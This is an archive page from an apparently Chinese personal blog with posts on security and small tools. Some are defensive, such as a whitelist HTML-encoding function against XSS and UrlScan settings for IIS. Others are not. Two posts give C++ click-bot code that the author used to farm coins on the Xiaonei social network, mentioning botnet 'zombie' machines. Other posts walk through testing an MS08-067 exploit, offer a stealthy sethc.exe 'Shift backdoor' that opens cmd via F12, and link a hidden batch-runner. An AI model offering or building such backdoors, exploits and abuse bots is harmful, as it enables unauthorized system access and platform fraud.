存档

文章标签 ‘工具’

白名单编码防止XSS

2009年8月22日 没有评论

在AntiXSS项目中,各个函数均采用白名单方式进行编码,比如一个 EncodeHtml() Java函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private static String EncodeHtml(String strInput) {
    if (strInput.length() == 0) {
      return EmptyString;
    }
    StringBuffer builder = new StringBuffer(strInput.length() * 2);
    CharacterIterator it = new StringCharacterIterator(strInput);
    for (char ch = it.first(); ch != CharacterIterator.DONE; ch = it.next()) {
      if ((((ch > '`') && (ch < '{')) || ((ch > '@') && (ch < '[')))
          || (((ch == ' ') || ((ch > '/') && (ch < ':'))) || (((ch == '.') || (ch == ',')) || ((ch == '-') || (ch == '_'))))) {
        builder.append(ch);
      } else {
        builder.append("&#" + (int) ch + ";");
      }
    }
    return builder.toString();
  }

根据ASCII,先排除了正常使用的字符,其他均进行编码。相比其他采用黑名单编码的自写函数要好的多。。

分类: 网络安全 标签: , ,

UrlScan配置 IIS 的安全

2009年8月8日 1 条评论

URLScan 是一个可供网站管理员使用的加载项工具。管理员可以控制 URLScan 的操作并限制服务器处理的 HTTP 请求的类型。
默认安装 UrlScan 会,会禁用 Web 服务扩展 – Active Server Pages,当手工启用时,也不可用,在UrlScan的配置文件中 UrlScan.ini 默认的选项也会禁止使用一些扩展(让我调试了好半天,以为UrlScan 和 asp ISAPI 有冲突),以下为默认禁止扩展选项:

; Deny ASP requests<br />.asp<br />.cer<br />.cdx<br />.asa

这样一般会禁止掉某些 cer,asa 之类未过滤的上传漏洞。
还有一些选项可以禁止掉 TRACE 请求,RemoveServerHeader 选项可以删除请求包中的IIS版本信息(Server: Microsoft-IIS/6.0
),以及IIS 目录解析漏洞:http://www.woyigui.cn/test.asp/1.txt 该请求会被阻止。

Link:
下载UrlScan: http://download.microsoft.com/download/iis50/Utility/2.1/NT45XP/EN-US/iislockd.exe
               下载完后用: iislockd.exe /q /c     命令提取 UrlScan 安装程序。
如何使用 URLScan  http://msdn.microsoft.com/zh-cn/library/aa302368.aspx
如何配置 URLScan 工具: http://support.microsoft.com/kb/326444/zh-cn
对 IIS 使用 URLScan: http://support.microsoft.com/default.aspx?scid=307608

分类: 网络安全 标签:

校内网疯狂校花版礼物工具

2008年11月13日 没有评论

上篇文章是一个刷的工具。钱多了,想送出去。也是一个累人的活,写个工具。自动送吧。。

VC源程序:

#include "stdafx.h"
#include "windows.h"
int main(int argc, char* argv[])
{
::Sleep(5000); //等待放好鼠标
for( int i=1;i <= 999 ;i++) //送的次数
{
::mouse_event( MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE | MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP,750 * 65536 / 1024,200 * 65536 / 1024,0,0);
::Sleep(500);
::mouse_event( MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE | MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP,700 * 65536 / 1024,800 * 65536 / 1024,0,0);
::Sleep(500);
//::keybd_event(VK_RETURN,NULL,KEYEVENTF_EXTENDEDKEY | 0,0);
}
return 0;
}

使用方法,打开疯狂版送礼物页面。运行程序。切记,一定将网页拖到适合的位置!!否则鼠标位置不对。
校内送礼物.rar

校内网疯狂校花版刷币工具

2008年11月13日 2 条评论

俺班最近玩这个比较多,因为一MM需要,为他写了一个程序,模拟鼠标点击,然后发送一回车。。原因在于校内没做验证设置。让我刷了它几十万个,如果我再搞几个肉鸡,那就。。。
VC原程序(高手跳过):

#include "stdafx.h"
#include "windows.h"
int main(int argc, char* argv[])
{
for( int i=1;i <= 999999999999999;i++)
{
::Sleep(3000);
::mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
::mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
::keybd_event(VK_RETURN,NULL,KEYEVENTF_EXTENDEDKEY | 0,0);
}
return 0;
}

使用方法:
运行程序,将鼠标放在该放的地方(邀请地友赚币的那个发送好友邀请),等待。。。。

xiaonei.rar

Ms08-067 Exp 详细测试流程(图文)

2008年10月29日 2 条评论

Writed By 樱木花盗
Blog:www.03389.com

为了测试这个,我装了三个虚拟机。。。一两个XP一个2003,终于弄明白都需要哪些必要条件了,写出来和大家分享,希望对离成功还差一步的同学们有所帮助,感谢幻影的牛人放出MS08-067的Exp,自由,共享。

下载:MS08-067.rar

经过N+1次的测试之后发现,本机和目标机必须要开启以下服务,否则就算对方没有打补丁也会失败。
ServerComputer BrowserWorkstation阅读全文…

分类: 网络安全 标签: ,

轻巧的上传工具-FtpUpload v1.0

2008年10月26日 2 条评论

  也是无意写的,没有FlashFxp强大,但是过段时间,我会将其开发的比FlashFxp更强大!  

  编程语言:VC++
  大小:56KB
  特点:轻巧
  缺点:不够强大
  待加入:下载功能,删除功能,多线程技术等。。
FtpUpload.rar

分类: 编程地带 标签: ,

网页源码查看器-GetWebSource v1.0

2008年10月23日 4 条评论

  因为喜欢体积小的文件,写了个小工具,方便自己使用。
  
  GetWebSource.rar

分类: 编程地带 标签: ,

体验黑屏

2008年10月22日 2 条评论

  尽管近来Windows黑屏事件闹的沸沸扬扬。。不过本人还是没有机会享受黑屏所带来的礼物。。
  不过今天发现了此软。让俺享受了一把黑屏。。。
  下载: 阅读全文…

分类: 娱乐休闲 标签: ,

Shift后门安全版

2008年10月21日 1 条评论

  网上提供的sethc后门可大,而且运行时不安全,会让管理容易发现,于是,昨天晚上没事用VC写了个简单的sethc.exe程序。 可以将该文件制作成自解压RAR文件,释放到指定目录,这样比较好一点,可以体积会更小!

  文件大小:20k
  执行cmd方式:F12 键
  下载:[sfile]http://woyigui.qupan.com/203455.html[/sfile]

分类: 工具收集 标签:

隐藏批处理运行工具

2008年10月1日 没有评论

  有好多的方法和技巧让批处理在后台运行,但是些工具也可实现批处理后台运行。

  http://bbs.verybat.org/thread-2951-1-1.html

  空间有限,只好发论坛。

分类: 工具收集 标签: ,